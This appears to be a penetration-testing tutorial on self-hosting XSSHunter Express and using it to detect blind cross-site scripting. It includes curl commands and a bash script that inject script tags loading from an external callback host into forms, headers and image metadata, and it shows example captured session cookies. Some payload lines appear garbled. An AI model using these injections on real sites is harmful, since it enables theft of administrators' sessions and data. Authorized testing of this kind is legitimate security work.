XSSHunter: Complete Guide to Blind Cross-Site Scripting (Blind XSS) Detection Using Kali Linux

XSSHunter Complete Guide to Blind Cross-Site Scripting (Blind XSS) Detection Using Kali Linux

XSSHunter is a blind XSS detection platform, fundamentally different in nature from XSStrike and DalFox. Those two tools actively send a payload and inspect the immediate HTTP response for signs of execution. XSSHunter instead gives you a unique, trackable payload that you inject anywhere you can reach — a contact form, a support ticket, an HTTP User-Agent or X-Forwarded-For header, a file upload’s metadata field, a chat message — and then you simply wait. If that payload is ever rendered and executed in any browser, at any time, in any context (including places you cannot directly observe, such as an internal admin dashboard, a moderator’s log viewer, or a backend analytics tool), XSSHunter’s out-of-band server captures the event and reports back full forensic detail: a screenshot of the page, the page’s DOM/HTML at the time of execution, the victim’s cookies, the origin URL, the User-Agent, and more.

The original XSSHunter (xsshunter.com) was a hosted SaaS created by Matthew Bryant (mandatoryprogrammer). It has since been made open-source and self-hostable as XSSHunter Express, maintained under the Truffle Security organization. Because it is self-hosted, testers own their own probe domain and data, which is critical for engagements requiring confidentiality.

Key capabilities:

  • Out-of-band / asynchronous XSS capture — purpose-built for blind and stored XSS that fires outside the tester’s direct view.
  • Automatic screenshot capture of the page where the payload fired.
  • Full DOM/HTML snapshot at time of execution.
  • Cookie, URL, referrer, and User-Agent capture.
  • Managed payload dashboard — generate unique payloads per engagement/target and track every fire in a web control panel.
  • Automatic TLS/SSL via Let’s Encrypt — HTTPS out of the box for a professional-looking, believable payload domain.
  • Fully Dockerized deployment — self-hosted in minutes via docker-compose.
  • Email notifications (optional, via SendGrid or similar) whenever a payload fires.

Unlike XSStrike and DalFox, XSSHunter is not a single CLI binary you run against a target with flags — it is a service you deploy and a payload format you inject. Its “usage” is therefore documented as a deployment/configuration workflow plus the standard payload syntax, rather than a --help command-line reference.

Installation

XSSHunter Express is deployed via Docker and Docker Compose on a server with a domain name pointed at it. On Kali Linux (or any Debian-based host you control for hosting the probe server):

# Install Docker and Docker Compose
sudo apt update
sudo apt install -y docker.io docker-compose git

# Enable and start Docker
sudo systemctl enable --now docker

# Clone the official XSSHunter Express repository
git clone https://github.com/mandatoryprogrammer/xsshunter-express.git
cd xsshunter-express

# Edit docker-compose.yml to set required environment variables
sudo nano docker-compose.yml

Inside docker-compose.yml, set at minimum the following environment variables under the xsshunterexpress service:

environment:
  # [REQUIRED] Domain pointed at this server's IP (A record)
  - HOSTNAME=xss.yourdomain.com
  # [REQUIRED] Email for Let's Encrypt SSL certificate registration
  - SSL_CONTACT_EMAIL=you@example.com
  # Maximum size (MB) of a captured payload (screenshot + DOM + metadata)
  - MAX_PAYLOAD_UPLOAD_SIZE_MB=50
  # Enable/disable the web control panel
  - CONTROL_PANEL_ENABLED=true

Start the database container first, then the main service:

# Start PostgreSQL in the background
sudo docker-compose up -d postgresdb

# Start the main XSSHunter Express service
sudo docker-compose up xsshunterexpress

Expected output on first run:

Creating xsshunter-express_postgresdb_1 ... done
Creating xsshunter-express_xsshunterexpress_1 ... done
Attaching to xsshunter-express_xsshunterexpress_1
xsshunterexpress_1  | [*] Generating TLS/SSL certificate via Let's Encrypt for xss.yourdomain.com...
xsshunterexpress_1  | [*] Certificate provisioned successfully.
xsshunterexpress_1  | [*] Initializing database schema...
xsshunterexpress_1  | [*] Admin account created.
xsshunterexpress_1  |     Username: admin
xsshunterexpress_1  |     Password: 8f3a2e9c7b1d4f6a
xsshunterexpress_1  | [*] Server listening on https://xss.yourdomain.com

Important: Copy the generated admin password immediately — it is only printed once to the console. Log in at https://xss.yourdomain.com/admin/.

For persistent background operation, run detached:

sudo docker-compose up -d

If port 80/443 is already occupied by another web server (e.g. nginx/Apache), stop it first or reconfigure XSSHunter Express to sit behind your existing reverse proxy using the sample nginx.conf/apache.conf files included in the repository.

Syntax

XSSHunter has two distinct “syntaxes” to understand: the deployment/management commands (Docker Compose) and the injected payload format used against targets.

Deployment commands:

docker-compose up -d postgresdb           # start database
docker-compose up -d xsshunterexpress     # start service (detached)
docker-compose down                       # stop everything
docker-compose logs -f xsshunterexpress   # tail logs

Payload syntax (generated per-account in the web dashboard, format shown below):

script src=https://YOUR-SUBDOMAIN.xss.htscript

or the double-quote/HTML-attribute breakout variant used when injecting into an attribute context:

script src=https://YOUR-SUBDOMAIN.xss.ht>script

Command Line / Configuration Options (Full Reference)

Since XSSHunter Express is a Docker service rather than a CLI binary, its “options” are environment variables set in docker-compose.yml (or a .env file, depending on fork):

VariableRequiredDescription
HOSTNAMEYesDomain/subdomain pointed at the server; used for both the payload callback and the admin panel
SSL_CONTACT_EMAILYesEmail used for Let’s Encrypt certificate issuance/renewal
MAX_PAYLOAD_UPLOAD_SIZE_MBNoMax size of a captured payload fire (screenshot + DOM + metadata), default 50
CONTROL_PANEL_ENABLEDNoEnable/disable the web dashboard UI (true/false)
GMAIL_ACCOUNTS (fork-dependent)NoAllow-list of Gmail addresses permitted to register/login for multi-user setups
POSTGRES_USER / POSTGRES_DB / POSTGRES_PASSWORDYes (db container)Postgres credentials for the postgresdb container
PGDATANoPostgres data directory (mapped to a persistent volume)
SENDGRID_API_KEY (some forks)NoEnables email notifications when a payload fires

Web dashboard controls (accessed via browser, not CLI flags) include:

  • Generate Payload — creates a unique script src=… tag tied to your account.
  • Payload Fires — a searchable, filterable list of every capture: screenshot, DOM, cookies, URL, timestamp, IP, User-Agent.
  • Settings — manage notification preferences and account details.

Basic Usage (Expected Output)

After deployment, generate a payload from the dashboard (this looks like a URL/HTML snippet, not a terminal command):

cript src=https://abc123.xss.htscript

Inject it into any field you’re testing (e.g. a “Full Name” field in a signup form). If a privileged user (e.g. an admin reviewing user data) later views that field in a page vulnerable to stored XSS, the script fires in their browser and reports back to your instance.

On the server side, you can tail logs to see a fire come in:

sudo docker-compose logs -f xsshunterexpress

Expected log output when a payload fires:

xsshunterexpress_1  | [*] New XSS payload fire received
xsshunterexpress_1  |     Origin URL: https://internal-admin.target.local/users/4471
xsshunterexpress_1  |     IP Address: 10.20.14.9
xsshunterexpress_1  |     User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
xsshunterexpress_1  |     Cookies captured: 3
xsshunterexpress_1  |     Screenshot saved: /data/screenshots/8f3a2e9c.png
xsshunterexpress_1  |     DOM snapshot saved: /data/dom/8f3a2e9c.html
xsshunterexpress_1  | [*] Notification sent to registered account

Practical Examples With Output

Example 1 – Inject into a “comment” field (classic stored XSS test)

Payload submitted:

Nice product! [<s]cript src=https://abc123.xss.ht>script

Server log when a moderator views the comment queue:

[*] New XSS payload fire received
    Origin URL: https://target.local/admin/moderate-comments
    Screenshot saved: /data/screenshots/9a1c.png
    Cookies captured: 2 (session_id, csrf_token)

Example 2 – Inject into an HTTP header (e.g. User-Agent) for log-viewer XSS

curl -s "http://target.local/" -A '[<s]cript src=https://abc123. xss.ht>script'

Server log when an admin later opens the access-log dashboard that renders the User-Agent unsanitized:

[*] New XSS payload fire received
    Origin URL: https://internal.target.local/logs/access
    User-Agent (of viewer): Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ...

Example 3 – Inject into a support ticket subject line

curl -s -X POST "http://target.local/support/ticket" \
  -d 'subject=script src=https://abc123.xss.ht>script>&body=help please'

Fire captured when support staff open the ticket in their internal panel:

[*] New XSS payload fire received
    Origin URL: https://support-internal.target.local/tickets/9981
    Screenshot saved: /data/screenshots/d41f.png

Example 4 – Combine with XSStrike’s --blind flag (Section 8.1) for crawl-wide blind injection

python3 xsstrike.py -u "http://target.local" --crawl --blind

(Blind payload configured in core/config.py set to <script src=https://abc123.xss.ht></script>.) Fires appear asynchronously in the XSSHunter dashboard/log over the following hours or days as different users encounter the injected forms.

Example 5 – Combine with DalFox’s -b flag (Section 8.2) for pipeline-wide blind injection

cat urls.txt | dalfox pipe -b https://abc123.xss.ht --silence

Fires are correlated later in the XSSHunter dashboard against the DalFox scan timestamp to identify which URL/parameter triggered execution.

Example 6 – Inject into a file upload’s metadata (EXIF/filename)

exiftool -Comment='script src=https://abc123.xss.ht>script' photo.jpg
curl -s -F "avatar=@photo.jpg" http://target.local/ upload

Fire captured if the target’s admin panel later renders EXIF metadata unsanitized when reviewing uploaded images.

Example 7 – Inject via an HTTP Referer header

curl -s "http://target[.]local/page" -e 'script src=https://abc123[.]xss.ht>script'

Fire captured if an internal analytics dashboard renders raw referrer strings.

Example 8 – Reviewing captured cookies for session hijacking impact assessment

Dashboard entry (rendered in the web UI, summarized here):

Fire ID: 8f3a2e9c
Origin URL: https://internal-admin[.]target.local/users/4471
Cookies: session_id=eyJhbGciOi...; csrf_token=9f8e7d6c...
Screenshot: [thumbnail available in dashboard]
DOM Snapshot: [full HTML available for download]

Example 9 – Tail server logs while actively pentesting to watch fires in real time

sudo docker-compose logs -f xsshunterexpress | grep "payload fire"
[*] New XSS payload fire received  (Origin: https://target.local/admin/queue)
[*] New XSS payload fire received  (Origin: https://target.local/mod/review)

Example 10 – Backing up captured evidence for a client report

sudo docker-compose exec postgresdb pg_dump -U xsshunterexpress xsshunterexpress > xsshunter_backup.sql
sudo cp -r ./data/screenshots ./client_report_evidence/
xsshunter_backup.sql written (1.2 MB)
Screenshots copied: 7 files -> ./client_report_evidence/

Common Use Cases

  • Detecting stored XSS that only executes when viewed by a privileged user (admin, moderator, support agent) you cannot directly authenticate as.
  • Detecting blind XSS in internal tools — log viewers, analytics dashboards, ticketing systems, monitoring panels — that are never directly reachable from the tester’s vantage point.
  • Long-duration engagements where a payload might not fire for hours, days, or weeks (e.g. a monthly report generator that renders unsanitized input).
  • Bug bounty programs, where testers inject payloads across every reachable input field of a target and passively wait for out-of-band confirmation.
  • Providing strong, undeniable proof-of-impact for a report: an actual screenshot and captured session cookie from an internal admin context is far more persuasive than a theoretical reflected-XSS alert.
  • Complementing active scanners (XSStrike, DalFox) by catching the asynchronous cases they structurally cannot detect in a single request/response cycle.

Automation With Bash

Generate a payload-injection wordlist and fire it across many input points using curl, then periodically poll the server logs for fires:

#!/bin/bash
# xsshunter_inject.sh - mass-inject a blind XSS payload across common input points

PAYLOAD='<script src=https://abc123.xss.ht></script>'
TARGET="http://target.local"

echo "[*] Injecting blind XSS payload into common endpoints"

# Contact form
curl -s -X POST "$TARGET/contact" \
  -d "name=$PAYLOAD&email=test@test.com&message=hello" -o /dev/null

# Support ticket
curl -s -X POST "$TARGET/support/ticket" \
  -d "subject=$PAYLOAD&body=test" -o /dev/null

# Profile bio field
curl -s -X POST "$TARGET/profile/update" \
  -d "bio=$PAYLOAD" -o /dev/null

# User-Agent based injection
curl -s "$TARGET/" -A "$PAYLOAD" -o /dev/null

# Referer based injection
curl -s "$TARGET/page" -e "$PAYLOAD" -o /dev/null

echo "[*] Injection complete across 5 vectors."
echo "[*] Monitor fires with: sudo docker-compose logs -f xsshunterexpress"

Run it:

chmod +x xsshunter_inject.sh
./xsshunter_inject.sh

Simple polling script to alert when a new fire appears in the logs:

#!/bin/bash
# xsshunter_watch.sh - alert on new XSS fires

LOGFILE="xsshunter_fires.log"
sudo docker-compose logs -f xsshunterexpress | while read -r line; do
    if echo "$line" | grep -q "New XSS payload fire received"; then
        echo "[$(date)] $line" | tee -a "$LOGFILE"
        # Optional: send a desktop notification / webhook here
    fi
done

Tips and Best Practices

  • Use a believable, engagement-specific subdomain for your XSSHunter instance rather than an obviously suspicious one — this increases the chance a filter or reviewer doesn’t immediately flag/strip it.
  • Always self-host (XSSHunter Express) for client engagements rather than relying on third-party SaaS instances, to keep captured cookies/screenshots/DOM data confidential.
  • Inject the payload into every reachable field, not just obvious ones — headers (User-Agent, Referer, X-Forwarded-For), file metadata, and rarely-reviewed admin-only fields are common blind XSS goldmines.
  • Combine XSSHunter with XSStrike’s --blind and DalFox’s -b flags to automate mass injection instead of manually crafting requests for every parameter.
  • Rotate/regenerate payload subdomains per engagement to keep evidence cleanly separated and to avoid stale findings from a previous test being mistaken for a new one.
  • Regularly back up the Postgres database and captured screenshots — this is your evidentiary record for the client report.
  • Respect scope and authorization boundaries strictly — blind XSS payloads can fire in front of real employees; only use this technique within an authorized engagement’s defined scope.

Troubleshooting

ProblemLikely CauseFix
First request to the instance is very slowLet’s Encrypt certificate is being generated on first bootWait ~15 seconds; this only happens once
docker-compose up fails with a port conflictAnother web server (nginx/Apache) is bound to port 80/443sudo systemctl stop nginx (temporarily) or configure XSSHunter Express behind your existing reverse proxy using the provided config templates
Admin password not visible / lostPassword is only printed once on first container startupReset via the database directly, or tear down and redeploy with a fresh volume (loses existing data)
Payloads never fire despite being injectedTarget’s Content-Security-Policy blocks the script-src, or WAF strips the script tagTry alternate injection contexts img src=x onerror=…, event handlers) instead of script src
No email notifications receivedEmail/SendGrid environment variable not configuredSet the notification provider’s API key env var in docker-compose.yml and restart
Database connection errors on startuppostgresdb container not started first, or not fully initializedAlways run docker-compose up -d postgresdb and wait for it to be healthy before starting xsshunterexpress
SSL certificate renewal failsDNS A record no longer points to the server, or port 80 blocked by a firewallVerify DNS resolution and that inbound port 80/443 are open for Let’s Encrypt’s HTTP-01 challenge

References

  • Official repository (XSSHunter Express): https://github.com/mandatoryprogrammer/xsshunter-express
  • OWASP Blind Cross-Site Scripting reference: https://owasp.org/www-community/attacks/Blind_Cross-site_scripting
  • OWASP Cross-Site Scripting reference: https://owasp.org/www-community/attacks/xss/
Total
0
Shares

Leave a Reply

Previous Post
DalFox: Complete Guide to Automated Cross-Site Scripting (XSS) Scanning Using Kali Linux

DalFox: Complete Guide to Automated Cross-Site Scripting (XSS) Scanning Using Kali Linux

Next Post
Zeek: Complete Guide to Network Security Monitoring and Traffic Analysis Using Kali Linux

Zeek: Complete Guide to Network Security Monitoring and Traffic Analysis Using Kali Linux

Related Posts